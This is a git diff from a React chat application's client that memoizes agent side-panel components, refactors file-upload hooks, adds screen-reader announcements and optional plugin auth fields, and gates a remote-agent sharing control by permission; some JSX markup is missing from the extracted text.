{ value: 'cs-CZ', label: localize('com_nav_lang_czech') },
{ value: 'sv-SE', label: localize('com_nav_lang_swedish') },
{ value: 'ko-KR', label: localize('com_nav_lang_korean') },
+ { value: 'lt-LT', label: localize('com_nav_lang_lithuanian') },
{ value: 'lv-LV', label: localize('com_nav_lang_latvian') },
{ value: 'vi-VN', label: localize('com_nav_lang_vietnamese') },
{ value: 'th-TH', label: localize('com_nav_lang_thai') },
diff --git a/client/src/components/Plugins/Store/PluginAuthForm.tsx b/client/src/components/Plugins/Store/PluginAuthForm.tsx
index 5af1948c11..d304b2eab7 100644
--- a/client/src/components/Plugins/Store/PluginAuthForm.tsx
+++ b/client/src/components/Plugins/Store/PluginAuthForm.tsx
@@ -20,6 +20,7 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
const localize = useLocalize();
const authConfig = plugin?.authConfig ?? [];
+ const allFieldsOptional = authConfig.length > 0 && authConfig.every((c) => c.optional === true);
return (
@@ -38,6 +39,7 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
>
{authConfig.map((config: TPluginAuthConfig, i: number) => {
const authField = config.authField.split('||')[0];
+ const isOptional = config.optional === true;
return (
@@ -82,7 +89,7 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
);
})}
{
diff --git a/client/src/components/Prompts/Groups/DashGroupItem.tsx b/client/src/components/Prompts/Groups/DashGroupItem.tsx
index 0ebe3397f5..d5e8b1a810 100644
--- a/client/src/components/Prompts/Groups/DashGroupItem.tsx
+++ b/client/src/components/Prompts/Groups/DashGroupItem.tsx
@@ -14,6 +14,7 @@ import {
import { useDeletePromptGroup, useUpdatePromptGroup } from '~/data-provider';
import CategoryIcon from '~/components/Prompts/Groups/CategoryIcon';
import { useLocalize, useResourcePermissions } from '~/hooks';
+import { useLiveAnnouncer } from '~/Providers';
import { cn } from '~/utils';
interface DashGroupItemProps {
@@ -25,6 +26,7 @@ function DashGroupItemComponent({ group, instanceProjectId }: DashGroupItemProps
const params = useParams();
const navigate = useNavigate();
const localize = useLocalize();
+ const { announcePolite } = useLiveAnnouncer();
const blurTimeoutRef = useRef(null);
const [nameInputValue, setNameInputValue] = useState(group.name);
@@ -49,6 +51,8 @@ function DashGroupItemComponent({ group, instanceProjectId }: DashGroupItemProps
const deleteGroup = useDeletePromptGroup({
onSuccess: (_response, variables) => {
if (variables.id === group._id) {
+ const announcement = localize('com_ui_prompt_deleted', { 0: group.name });
+ announcePolite({ message: announcement, isStatus: true });
navigate('/d/prompts');
}
},
diff --git a/client/src/components/Prompts/VariablesDropdown.tsx b/client/src/components/Prompts/VariablesDropdown.tsx
index 1a11761ce9..bfde6525c9 100644
--- a/client/src/components/Prompts/VariablesDropdown.tsx
+++ b/client/src/components/Prompts/VariablesDropdown.tsx
@@ -5,6 +5,7 @@ import { useFormContext } from 'react-hook-form';
import { DropdownPopup } from '@librechat/client';
import { specialVariables } from 'librechat-data-provider';
import type { TSpecialVarLabel } from 'librechat-data-provider';
+import { useLiveAnnouncer } from '~/Providers';
import { useLocalize } from '~/hooks';
interface VariableOption {
@@ -30,6 +31,7 @@ export default function VariablesDropdown({
const localize = useLocalize();
const methods = useFormContext();
const { setValue, getValues } = methods;
+ const { announcePolite } = useLiveAnnouncer();
const [isMenuOpen, setIsMenuOpen] = useState(false);
@@ -39,6 +41,8 @@ export default function VariablesDropdown({
const prefix = localize(label);
setValue(fieldName, currentText + spacer + prefix + ': ' + value);
setIsMenuOpen(false);
+ const announcement = localize('com_ui_special_variable_added', { 0: prefix });
+ announcePolite({ message: announcement, isStatus: true });
};
return (
diff --git a/client/src/components/Share/Message.tsx b/client/src/components/Share/Message.tsx
index 99d46954a8..8e2c7796e3 100644
--- a/client/src/components/Share/Message.tsx
+++ b/client/src/components/Share/Message.tsx
@@ -69,7 +69,7 @@ export default function Message(props: TMessageProps) {
>
{messageLabel}
-
+
(-1);
return (
-
+
-
- {(_messagesTree && _messagesTree.length == 0) || _messagesTree === null ? (
+
+ {(_messagesTree && _messagesTree.length === 0) || _messagesTree === null ? (
{localize('com_ui_nothing_found')}
diff --git a/client/src/components/Share/ShareMessagesProvider.tsx b/client/src/components/Share/ShareMessagesProvider.tsx
index e87591a082..e614aa891a 100644
--- a/client/src/components/Share/ShareMessagesProvider.tsx
+++ b/client/src/components/Share/ShareMessagesProvider.tsx
@@ -25,7 +25,8 @@ export function ShareMessagesProvider({ messages, children }: ShareMessagesProvi
ask: () => Promise.resolve(),
regenerate: () => {},
handleContinue: () => {},
- latestMessage: messages[messages.length - 1] ?? null,
+ latestMessageId: messages[messages.length - 1]?.messageId,
+ latestMessageDepth: messages[messages.length - 1]?.depth,
isSubmitting: false,
abortScroll: false,
setAbortScroll: () => {},
diff --git a/client/src/components/Share/ShareView.tsx b/client/src/components/Share/ShareView.tsx
index 99ab7f35eb..00a0d36398 100644
--- a/client/src/components/Share/ShareView.tsx
+++ b/client/src/components/Share/ShareView.tsx
@@ -123,14 +123,14 @@ function SharedView() {
}
const footer = (
-
-
+
+
);
const mainContent = (
-
+
{content}
{footer}
@@ -189,11 +189,13 @@ function ShareHeader({
}, []);
return (
-
-
+
+
-
-
{title}
+
+
+ {title}
+
{formattedDate && (
diff --git a/client/src/components/SidePanel/Agents/AgentAvatar.tsx b/client/src/components/SidePanel/Agents/AgentAvatar.tsx
index bb1d44dfdc..6b778f6515 100644
--- a/client/src/components/SidePanel/Agents/AgentAvatar.tsx
+++ b/client/src/components/SidePanel/Agents/AgentAvatar.tsx
@@ -1,4 +1,4 @@
-import { useEffect, useCallback } from 'react';
+import { memo, useCallback, useEffect } from 'react';
import { useToastContext } from '@librechat/client';
import { useFormContext, useWatch } from 'react-hook-form';
import { mergeFileConfig, fileConfig as defaultFileConfig } from 'librechat-data-provider';
@@ -99,4 +99,10 @@ function Avatar({ avatar }: { avatar: AgentAvatar | null }) {
);
}
-export default Avatar;
+const MemoizedAvatar = memo(
+ Avatar,
+ (prevProps, nextProps) => prevProps.avatar?.filepath === nextProps.avatar?.filepath,
+);
+MemoizedAvatar.displayName = 'Avatar';
+
+export default MemoizedAvatar;
diff --git a/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx b/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx
index 5840fe0f12..4485c0b08d 100644
--- a/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx
+++ b/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx
@@ -1,4 +1,4 @@
-import React, { useState } from 'react';
+import React, { memo, useState } from 'react';
import { ControlCombobox } from '@librechat/client';
import {
useWatch,
@@ -95,4 +95,10 @@ const AgentCategorySelector: React.FC<{ className?: string }> = ({ className })
);
};
-export default AgentCategorySelector;
+const MemoizedAgentCategorySelector = memo(
+ AgentCategorySelector,
+ (prevProps, nextProps) => prevProps.className === nextProps.className,
+);
+MemoizedAgentCategorySelector.displayName = 'AgentCategorySelector';
+
+export default MemoizedAgentCategorySelector;
diff --git a/client/src/components/SidePanel/Agents/AgentFooter.tsx b/client/src/components/SidePanel/Agents/AgentFooter.tsx
index 80a449bb2d..ff98f7c48b 100644
--- a/client/src/components/SidePanel/Agents/AgentFooter.tsx
+++ b/client/src/components/SidePanel/Agents/AgentFooter.tsx
@@ -1,3 +1,4 @@
+import { Globe } from 'lucide-react';
import { Spinner } from '@librechat/client';
import { useWatch, useFormContext } from 'react-hook-form';
import {
@@ -44,13 +45,21 @@ export default function AgentFooter({
permissionType: PermissionTypes.AGENTS,
permission: Permissions.SHARE,
});
+ const hasAccessToShareRemoteAgents = useHasAccess({
+ permissionType: PermissionTypes.REMOTE_AGENTS,
+ permission: Permissions.SHARE,
+ });
const { hasPermission, isLoading: permissionsLoading } = useResourcePermissions(
ResourceType.AGENT,
agent?._id || '',
);
+ const { hasPermission: hasRemoteAgentPermission, isLoading: remotePermissionsLoading } =
+ useResourcePermissions(ResourceType.REMOTE_AGENT, agent?._id || '');
const canShareThisAgent = hasPermission(PermissionBits.SHARE);
+ const canEditThisAgent = hasPermission(PermissionBits.EDIT);
const canDeleteThisAgent = hasPermission(PermissionBits.DELETE);
+ const canShareRemoteAgent = hasRemoteAgentPermission(PermissionBits.SHARE);
const isSaving = createMutation.isLoading || updateMutation.isLoading || isAvatarUploading;
const renderSaveButton = () => {
if (isSaving) {
@@ -91,7 +100,27 @@ export default function AgentFooter({
resourceType={ResourceType.AGENT}
/>
)}
- {agent && agent.author === user?.id &&
}
+ {(agent?.author === user?.id || user?.role === SystemRoles.ADMIN || canShareRemoteAgent) &&
+ hasAccessToShareRemoteAgents &&
+ !remotePermissionsLoading &&
+ agent?._id && (
+
+
+
+
+
+ )}
+ {(agent?.author === user?.id || user?.role === SystemRoles.ADMIN || canEditThisAgent) &&
+ !permissionsLoading &&
}
{/* Submit Button */}
| Array) => string,
+ name: string | null | undefined,
+ localize: (key: TranslationKeys, vars?: Record) => string,
): string | null {
// If only avatar upload is pending (separate endpoint), suppress the no-changes toast.
if (noVersionChange && avatarActionState === 'upload') {
@@ -72,6 +74,7 @@ export function composeAgentUpdatePayload(data: AgentForm, agent_id?: string | n
recursion_limit,
category,
support_contact,
+ tool_options,
avatar_action: avatarActionState,
} = data;
@@ -97,6 +100,7 @@ export function composeAgentUpdatePayload(data: AgentForm, agent_id?: string | n
recursion_limit,
category,
support_contact,
+ tool_options,
...(shouldResetAvatar ? { avatar: null } : {}),
},
provider,
@@ -545,7 +549,7 @@ export default function AgentPanel() {
{
- const agent_id = conversation?.agent_id ?? '';
+ const agent_id = agentId ?? '';
if (!isEphemeralAgent(agent_id)) {
setCurrentAgentId(agent_id);
}
- }, [setCurrentAgentId, conversation?.agent_id]);
+ }, [setCurrentAgentId, agentId]);
if (activePanel === Panel.actions) {
return ;
diff --git a/client/src/components/SidePanel/Agents/AgentSelect.tsx b/client/src/components/SidePanel/Agents/AgentSelect.tsx
index 9a3ef387c9..323136340e 100644
--- a/client/src/components/SidePanel/Agents/AgentSelect.tsx
+++ b/client/src/components/SidePanel/Agents/AgentSelect.tsx
@@ -1,6 +1,6 @@
import { EarthIcon } from 'lucide-react';
import { ControlCombobox } from '@librechat/client';
-import { useCallback, useEffect, useRef } from 'react';
+import { memo, useCallback, useEffect, useRef } from 'react';
import { useFormContext, Controller } from 'react-hook-form';
import { AgentCapabilities, defaultAgentFormValues } from 'librechat-data-provider';
import type { UseMutationResult, QueryObserverResult } from '@tanstack/react-query';
@@ -12,7 +12,7 @@ import { useListAgentsQuery } from '~/data-provider';
const keys = new Set(Object.keys(defaultAgentFormValues));
-export default function AgentSelect({
+function AgentSelect({
agentQuery,
selectedAgentId = null,
setCurrentAgentId,
@@ -111,6 +111,11 @@ export default function AgentSelect({
return;
}
+ if (name === 'tool_options' && typeof value === 'object' && value !== null) {
+ formValues[name] = value;
+ return;
+ }
+
if (!keys.has(name)) {
return;
}
@@ -220,3 +225,16 @@ export default function AgentSelect({
/>
);
}
+
+const MemoizedAgentSelect = memo(
+ AgentSelect,
+ (prevProps, nextProps) =>
+ prevProps.selectedAgentId === nextProps.selectedAgentId &&
+ prevProps.agentQuery.data === nextProps.agentQuery.data &&
+ prevProps.agentQuery.isSuccess === nextProps.agentQuery.isSuccess &&
+ prevProps.createMutation.data?.id === nextProps.createMutation.data?.id &&
+ prevProps.createMutation.isLoading === nextProps.createMutation.isLoading,
+);
+MemoizedAgentSelect.displayName = 'AgentSelect';
+
+export default MemoizedAgentSelect;
diff --git a/client/src/components/SidePanel/Agents/Code/Action.tsx b/client/src/components/SidePanel/Agents/Code/Action.tsx
index 5d943f0a60..6919ab1339 100644
--- a/client/src/components/SidePanel/Agents/Code/Action.tsx
+++ b/client/src/components/SidePanel/Agents/Code/Action.tsx
@@ -14,6 +14,7 @@ import type { AgentForm } from '~/common';
import { useLocalize, useCodeApiKeyForm } from '~/hooks';
import ApiKeyDialog from './ApiKeyDialog';
import { ESide } from '~/common';
+import { cn } from '~/utils';
export default function Action({ authType = '', isToolAuthenticated = false }) {
const localize = useLocalize();
@@ -73,7 +74,10 @@ export default function Action({ authType = '', isToolAuthenticated = false }) {
{localize('com_ui_run_code')}
diff --git a/client/src/components/SidePanel/Agents/Code/Files.tsx b/client/src/components/SidePanel/Agents/Code/Files.tsx
index 3ef7da9ca6..16360a7a0b 100644
--- a/client/src/components/SidePanel/Agents/Code/Files.tsx
+++ b/client/src/components/SidePanel/Agents/Code/Files.tsx
@@ -1,23 +1,16 @@
-import { useState, useRef } from 'react';
+import { memo, useMemo, useRef, useState } from 'react';
import { useFormContext } from 'react-hook-form';
import { AttachmentIcon } from '@librechat/client';
-import {
- EToolResources,
- EModelEndpoint,
- mergeFileConfig,
- AgentCapabilities,
- getEndpointFileConfig,
-} from 'librechat-data-provider';
+import { EToolResources, EModelEndpoint, AgentCapabilities } from 'librechat-data-provider';
import type { ExtendedFile, AgentForm } from '~/common';
-import { useFileHandling, useLocalize, useLazyEffect } from '~/hooks';
+import { useFileHandlingNoChatContext } from '~/hooks/Files/useFileHandling';
+import { useAgentFileConfig, useLocalize, useLazyEffect } from '~/hooks';
import FileRow from '~/components/Chat/Input/Files/FileRow';
-import { useGetFileConfig } from '~/data-provider';
-import { useChatContext } from '~/Providers';
import { isEphemeralAgent } from '~/common';
const tool_resource = EToolResources.execute_code;
-export default function Files({
+function Files({
agent_id,
files: _files,
}: {
@@ -25,17 +18,21 @@ export default function Files({
files?: [string, ExtendedFile][];
}) {
const localize = useLocalize();
- const { setFilesLoading } = useChatContext();
const { watch } = useFormContext();
const fileInputRef = useRef(null);
const [files, setFiles] = useState>(new Map());
- const { data: fileConfig = null } = useGetFileConfig({
- select: (data) => mergeFileConfig(data),
- });
- const { abortUpload, handleFileChange } = useFileHandling({
- fileSetter: setFiles,
- additionalMetadata: { agent_id, tool_resource },
- });
+ const fileHandlingState = useMemo(() => ({ files, setFiles, conversation: null }), [files]);
+ const { endpointFileConfig, providerValue, endpointType } = useAgentFileConfig();
+ const endpointOverride = providerValue || EModelEndpoint.agents;
+ const { abortUpload, handleFileChange } = useFileHandlingNoChatContext(
+ {
+ fileSetter: setFiles,
+ additionalMetadata: { agent_id, tool_resource },
+ endpointOverride,
+ endpointTypeOverride: endpointType,
+ },
+ fileHandlingState,
+ );
useLazyEffect(
() => {
@@ -48,12 +45,6 @@ export default function Files({
);
const codeChecked = watch(AgentCapabilities.execute_code);
-
- const endpointFileConfig = getEndpointFileConfig({
- fileConfig,
- endpoint: EModelEndpoint.agents,
- endpointType: EModelEndpoint.agents,
- });
const isUploadDisabled = endpointFileConfig?.disabled ?? false;
if (isUploadDisabled) {
@@ -80,7 +71,6 @@ export default function Files({
agent_id={agent_id}
abortUpload={abortUpload}
tool_resource={tool_resource}
- setFilesLoading={setFilesLoading}
Wrapper={({ children }) => {children}
}
/>
@@ -109,3 +99,8 @@ export default function Files({
);
}
+
+const MemoizedFiles = memo(Files);
+MemoizedFiles.displayName = 'Files';
+
+export default MemoizedFiles;
diff --git a/client/src/components/SidePanel/Agents/DeleteButton.tsx b/client/src/components/SidePanel/Agents/DeleteButton.tsx
index 9758f80abe..a738e382b3 100644
--- a/client/src/components/SidePanel/Agents/DeleteButton.tsx
+++ b/client/src/components/SidePanel/Agents/DeleteButton.tsx
@@ -1,4 +1,6 @@
+import { memo } from 'react';
import { useFormContext } from 'react-hook-form';
+import { useRecoilValue, useSetRecoilState } from 'recoil';
import {
Label,
Button,
@@ -11,12 +13,12 @@ import {
import type { Agent, AgentCreateParams } from 'librechat-data-provider';
import type { UseMutationResult } from '@tanstack/react-query';
import { logger, getDefaultAgentFormValues } from '~/utils';
-import { useLocalize, useSetIndexOptions } from '~/hooks';
import { useDeleteAgentMutation } from '~/data-provider';
-import { useChatContext } from '~/Providers';
import { isEphemeralAgent } from '~/common';
+import { useLocalize } from '~/hooks';
+import store from '~/store';
-export default function DeleteButton({
+function DeleteButton({
agent_id,
setCurrentAgentId,
createMutation,
@@ -28,8 +30,8 @@ export default function DeleteButton({
const localize = useLocalize();
const { reset } = useFormContext();
const { showToast } = useToastContext();
- const { conversation } = useChatContext();
- const { setOption } = useSetIndexOptions();
+ const setConversation = useSetRecoilState(store.conversationByIndex(0));
+ const conversationAgentId = useRecoilValue(store.conversationAgentIdByIndex(0));
const deleteAgent = useDeleteAgentMutation({
onSuccess: (_, vars, context) => {
@@ -52,15 +54,16 @@ export default function DeleteButton({
if (!firstAgent) {
setCurrentAgentId(undefined);
reset(getDefaultAgentFormValues());
- return setOption('agent_id')('');
+ setConversation((prev) => (prev ? { ...prev, agent_id: '' } : prev));
+ return;
}
- if (vars.agent_id === conversation?.agent_id) {
- setOption('model')('');
- return setOption('agent_id')(firstAgent.id);
+ if (vars.agent_id === conversationAgentId) {
+ setConversation((prev) => (prev ? { ...prev, model: '', agent_id: firstAgent.id } : prev));
+ return;
}
- const currentAgent = updatedList.find((agent) => agent.id === conversation?.agent_id);
+ const currentAgent = updatedList.find((agent) => agent.id === conversationAgentId);
if (currentAgent) {
setCurrentAgentId(currentAgent.id);
@@ -88,6 +91,7 @@ export default function DeleteButton({
size="sm"
variant="outline"
aria-label={localize('com_ui_delete_agent')}
+ title={localize('com_ui_delete_agent')}
type="button"
>
@@ -118,3 +122,15 @@ export default function DeleteButton({
);
}
+
+const MemoizedDeleteButton = memo(
+ DeleteButton,
+ (prevProps, nextProps) =>
+ prevProps.agent_id === nextProps.agent_id &&
+ prevProps.setCurrentAgentId === nextProps.setCurrentAgentId &&
+ prevProps.createMutation.data?.id === nextProps.createMutation.data?.id &&
+ prevProps.createMutation.isLoading === nextProps.createMutation.isLoading,
+);
+MemoizedDeleteButton.displayName = 'DeleteButton';
+
+export default MemoizedDeleteButton;
diff --git a/client/src/components/SidePanel/Agents/DuplicateAgent.tsx b/client/src/components/SidePanel/Agents/DuplicateAgent.tsx
index 089dea0732..1e598d528d 100644
--- a/client/src/components/SidePanel/Agents/DuplicateAgent.tsx
+++ b/client/src/components/SidePanel/Agents/DuplicateAgent.tsx
@@ -37,6 +37,7 @@ export default function DuplicateAgent({ agent_id }: { agent_id: string }) {
size="sm"
variant="outline"
aria-label={localize('com_ui_duplicate_agent')}
+ title={localize('com_ui_duplicate_agent')}
type="button"
onClick={handleDuplicate}
>
diff --git a/client/src/components/SidePanel/Agents/FileContext.tsx b/client/src/components/SidePanel/Agents/FileContext.tsx
index d437e8457f..906d742127 100644
--- a/client/src/components/SidePanel/Agents/FileContext.tsx
+++ b/client/src/components/SidePanel/Agents/FileContext.tsx
@@ -1,12 +1,7 @@
-import { useState, useRef } from 'react';
+import { memo, useMemo, useRef, useState } from 'react';
import { Folder } from 'lucide-react';
import * as Ariakit from '@ariakit/react';
-import {
- EModelEndpoint,
- EToolResources,
- mergeFileConfig,
- getEndpointFileConfig,
-} from 'librechat-data-provider';
+import { EModelEndpoint, EToolResources } from 'librechat-data-provider';
import {
HoverCard,
DropdownPopup,
@@ -18,14 +13,15 @@ import {
HoverCardTrigger,
} from '@librechat/client';
import type { ExtendedFile } from '~/common';
-import { useFileHandling, useLocalize, useLazyEffect, useSharePointFileHandling } from '~/hooks';
-import { useGetFileConfig, useGetStartupConfig } from '~/data-provider';
+import { useSharePointFileHandlingNoChatContext } from '~/hooks/Files/useSharePointFileHandling';
+import { useFileHandlingNoChatContext } from '~/hooks/Files/useFileHandling';
+import { useAgentFileConfig, useLocalize, useLazyEffect } from '~/hooks';
import { SharePointPickerDialog } from '~/components/SharePoint';
import FileRow from '~/components/Chat/Input/Files/FileRow';
+import { useGetStartupConfig } from '~/data-provider';
import { ESide, isEphemeralAgent } from '~/common';
-import { useChatContext } from '~/Providers';
-export default function FileContext({
+function FileContext({
agent_id,
files: _files,
}: {
@@ -33,26 +29,35 @@ export default function FileContext({
files?: [string, ExtendedFile][];
}) {
const localize = useLocalize();
- const { setFilesLoading } = useChatContext();
const fileInputRef = useRef
(null);
const [files, setFiles] = useState>(new Map());
+ const fileHandlingState = useMemo(() => ({ files, setFiles, conversation: null }), [files]);
const [isPopoverActive, setIsPopoverActive] = useState(false);
const [isSharePointDialogOpen, setIsSharePointDialogOpen] = useState(false);
const { data: startupConfig } = useGetStartupConfig();
const sharePointEnabled = startupConfig?.sharePointFilePickerEnabled;
+ const { endpointFileConfig, providerValue, endpointType } = useAgentFileConfig();
+ const endpointOverride = providerValue || EModelEndpoint.agents;
- const { data: fileConfig = null } = useGetFileConfig({
- select: (data) => mergeFileConfig(data),
- });
-
- const { handleFileChange } = useFileHandling({
- additionalMetadata: { agent_id, tool_resource: EToolResources.context },
- fileSetter: setFiles,
- });
- const { handleSharePointFiles, isProcessing, downloadProgress } = useSharePointFileHandling({
- additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
- fileSetter: setFiles,
- });
+ const { handleFileChange } = useFileHandlingNoChatContext(
+ {
+ additionalMetadata: { agent_id, tool_resource: EToolResources.context },
+ endpointOverride,
+ endpointTypeOverride: endpointType,
+ fileSetter: setFiles,
+ },
+ fileHandlingState,
+ );
+ const { handleSharePointFiles, isProcessing, downloadProgress } =
+ useSharePointFileHandlingNoChatContext(
+ {
+ additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
+ endpointOverride,
+ endpointTypeOverride: endpointType,
+ fileSetter: setFiles,
+ },
+ fileHandlingState,
+ );
useLazyEffect(
() => {
if (_files) {
@@ -62,12 +67,6 @@ export default function FileContext({
[_files],
750,
);
-
- const endpointFileConfig = getEndpointFileConfig({
- fileConfig,
- endpoint: EModelEndpoint.agents,
- endpointType: EModelEndpoint.agents,
- });
const isUploadDisabled = endpointFileConfig?.disabled ?? false;
const handleSharePointFilesSelected = async (sharePointFiles: any[]) => {
try {
@@ -136,7 +135,6 @@ export default function FileContext({
{children}
}
@@ -197,3 +195,8 @@ export default function FileContext({
);
}
+
+const MemoizedFileContext = memo(FileContext);
+MemoizedFileContext.displayName = 'FileContext';
+
+export default MemoizedFileContext;
diff --git a/client/src/components/SidePanel/Agents/FileSearch.tsx b/client/src/components/SidePanel/Agents/FileSearch.tsx
index a82fc8bdfb..79a08de0ed 100644
--- a/client/src/components/SidePanel/Agents/FileSearch.tsx
+++ b/client/src/components/SidePanel/Agents/FileSearch.tsx
@@ -1,26 +1,20 @@
-import { useState, useRef } from 'react';
+import { memo, useMemo, useRef, useState } from 'react';
import { Folder } from 'lucide-react';
import * as Ariakit from '@ariakit/react';
import { useFormContext } from 'react-hook-form';
import { SharePointIcon, AttachmentIcon, DropdownPopup } from '@librechat/client';
-import {
- EModelEndpoint,
- EToolResources,
- mergeFileConfig,
- AgentCapabilities,
- getEndpointFileConfig,
-} from 'librechat-data-provider';
+import { EModelEndpoint, EToolResources, AgentCapabilities } from 'librechat-data-provider';
import type { ExtendedFile, AgentForm } from '~/common';
-import useSharePointFileHandling from '~/hooks/Files/useSharePointFileHandling';
-import { useGetFileConfig, useGetStartupConfig } from '~/data-provider';
-import { useFileHandling, useLocalize, useLazyEffect } from '~/hooks';
+import { useSharePointFileHandlingNoChatContext } from '~/hooks/Files/useSharePointFileHandling';
+import { useFileHandlingNoChatContext } from '~/hooks/Files/useFileHandling';
+import { useAgentFileConfig, useLocalize, useLazyEffect } from '~/hooks';
import { SharePointPickerDialog } from '~/components/SharePoint';
import FileRow from '~/components/Chat/Input/Files/FileRow';
+import { useGetStartupConfig } from '~/data-provider';
import FileSearchCheckbox from './FileSearchCheckbox';
-import { useChatContext } from '~/Providers';
import { isEphemeralAgent } from '~/common';
-export default function FileSearch({
+function FileSearch({
agent_id,
files: _files,
}: {
@@ -28,29 +22,38 @@ export default function FileSearch({
files?: [string, ExtendedFile][];
}) {
const localize = useLocalize();
- const { setFilesLoading } = useChatContext();
const { watch } = useFormContext();
const fileInputRef = useRef(null);
const [files, setFiles] = useState>(new Map());
+ const fileHandlingState = useMemo(() => ({ files, setFiles, conversation: null }), [files]);
const [isPopoverActive, setIsPopoverActive] = useState(false);
const [isSharePointDialogOpen, setIsSharePointDialogOpen] = useState(false);
// Get startup configuration for SharePoint feature flag
const { data: startupConfig } = useGetStartupConfig();
+ const { endpointFileConfig, providerValue, endpointType } = useAgentFileConfig();
+ const endpointOverride = providerValue || EModelEndpoint.agents;
- const { data: fileConfig = null } = useGetFileConfig({
- select: (data) => mergeFileConfig(data),
- });
+ const { handleFileChange } = useFileHandlingNoChatContext(
+ {
+ additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
+ endpointOverride,
+ endpointTypeOverride: endpointType,
+ fileSetter: setFiles,
+ },
+ fileHandlingState,
+ );
- const { handleFileChange } = useFileHandling({
- additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
- fileSetter: setFiles,
- });
-
- const { handleSharePointFiles, isProcessing, downloadProgress } = useSharePointFileHandling({
- additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
- fileSetter: setFiles,
- });
+ const { handleSharePointFiles, isProcessing, downloadProgress } =
+ useSharePointFileHandlingNoChatContext(
+ {
+ additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
+ endpointOverride,
+ endpointTypeOverride: endpointType,
+ fileSetter: setFiles,
+ },
+ fileHandlingState,
+ );
useLazyEffect(
() => {
@@ -63,12 +66,6 @@ export default function FileSearch({
);
const fileSearchChecked = watch(AgentCapabilities.file_search);
-
- const endpointFileConfig = getEndpointFileConfig({
- fileConfig,
- endpoint: EModelEndpoint.agents,
- endpointType: EModelEndpoint.agents,
- });
const isUploadDisabled = endpointFileConfig?.disabled ?? false;
const sharePointEnabled = startupConfig?.sharePointFilePickerEnabled;
@@ -141,7 +138,6 @@ export default function FileSearch({
{children}
}
@@ -201,3 +197,8 @@ export default function FileSearch({
);
}
+
+const MemoizedFileSearch = memo(FileSearch);
+MemoizedFileSearch.displayName = 'FileSearch';
+
+export default MemoizedFileSearch;
diff --git a/client/src/components/SidePanel/Agents/MCPTool.tsx b/client/src/components/SidePanel/Agents/MCPTool.tsx
index 25d7c4c424..e9f888b7e5 100644
--- a/client/src/components/SidePanel/Agents/MCPTool.tsx
+++ b/client/src/components/SidePanel/Agents/MCPTool.tsx
@@ -1,25 +1,32 @@
import React, { useState } from 'react';
-import { ChevronDown } from 'lucide-react';
import { useFormContext } from 'react-hook-form';
import { Constants } from 'librechat-data-provider';
+import { ChevronDown, Clock, Code2 } from 'lucide-react';
import * as AccordionPrimitive from '@radix-ui/react-accordion';
import {
Label,
- ESide,
Checkbox,
OGDialog,
Accordion,
TrashIcon,
- InfoHoverCard,
+ TooltipAnchor,
AccordionItem,
OGDialogTrigger,
AccordionContent,
OGDialogTemplate,
} from '@librechat/client';
import type { AgentForm, MCPServerInfo } from '~/common';
-import { useLocalize, useMCPServerManager, useRemoveMCPTool } from '~/hooks';
+import {
+ useAgentCapabilities,
+ useMCPServerManager,
+ useGetAgentsConfig,
+ useMCPToolOptions,
+ useRemoveMCPTool,
+ useLocalize,
+} from '~/hooks';
import MCPServerStatusIcon from '~/components/MCP/MCPServerStatusIcon';
import MCPConfigDialog from '~/components/MCP/MCPConfigDialog';
+import MCPToolItem from './MCPToolItem';
import { cn } from '~/utils';
export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo }) {
@@ -27,6 +34,21 @@ export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo })
const { removeTool } = useRemoveMCPTool();
const { getValues, setValue } = useFormContext
();
const { getServerStatusIconProps, getConfigDialogProps } = useMCPServerManager();
+ const { agentsConfig } = useGetAgentsConfig();
+ const { deferredToolsEnabled, programmaticToolsEnabled } = useAgentCapabilities(
+ agentsConfig?.capabilities,
+ );
+
+ const {
+ isToolDeferred,
+ isToolProgrammatic,
+ toggleToolDefer,
+ toggleToolProgrammatic,
+ areAllToolsDeferred,
+ areAllToolsProgrammatic,
+ toggleDeferAll,
+ toggleProgrammaticAll,
+ } = useMCPToolOptions();
const [isFocused, setIsFocused] = useState(false);
const [isHovering, setIsHovering] = useState(false);
@@ -37,32 +59,38 @@ export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo })
}
const currentServerName = serverInfo.serverName;
+ const tools = serverInfo.tools || [];
const getSelectedTools = () => {
- if (!serverInfo?.tools) return [];
const formTools = getValues('tools') || [];
- return serverInfo.tools.filter((t) => formTools.includes(t.tool_id)).map((t) => t.tool_id);
+ return tools.filter((t) => formTools.includes(t.tool_id)).map((t) => t.tool_id);
};
const updateFormTools = (newSelectedTools: string[]) => {
const currentTools = getValues('tools') || [];
- const otherTools = currentTools.filter(
- (t: string) => !serverInfo?.tools?.some((st) => st.tool_id === t),
- );
+ const otherTools = currentTools.filter((t: string) => !tools.some((st) => st.tool_id === t));
setValue('tools', [...otherTools, ...newSelectedTools]);
};
+ const toggleToolSelect = (toolId: string) => {
+ const selectedTools = getSelectedTools();
+ const newSelectedTools = selectedTools.includes(toolId)
+ ? selectedTools.filter((t) => t !== toolId)
+ : [...selectedTools, toolId];
+ updateFormTools(newSelectedTools);
+ };
+
const selectedTools = getSelectedTools();
const isExpanded = accordionValue === currentServerName;
+ const allDeferred = areAllToolsDeferred(tools);
+ const allProgrammatic = areAllToolsProgrammatic(tools);
const statusIconProps = getServerStatusIconProps(currentServerName);
const configDialogProps = getConfigDialogProps();
const statusIcon = statusIconProps && (
{
- e.stopPropagation();
- }}
+ onClick={(e) => e.stopPropagation()}
className="cursor-pointer rounded p-0.5 hover:bg-surface-secondary"
>
@@ -87,14 +115,7 @@ export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo })
- setAccordionValue((prev) => {
- if (prev) {
- return '';
- }
- return currentServerName;
- })
- }
+ onClick={() => setAccordionValue((prev) => (prev ? '' : currentServerName))}
>
{statusIcon &&
{statusIcon}
}
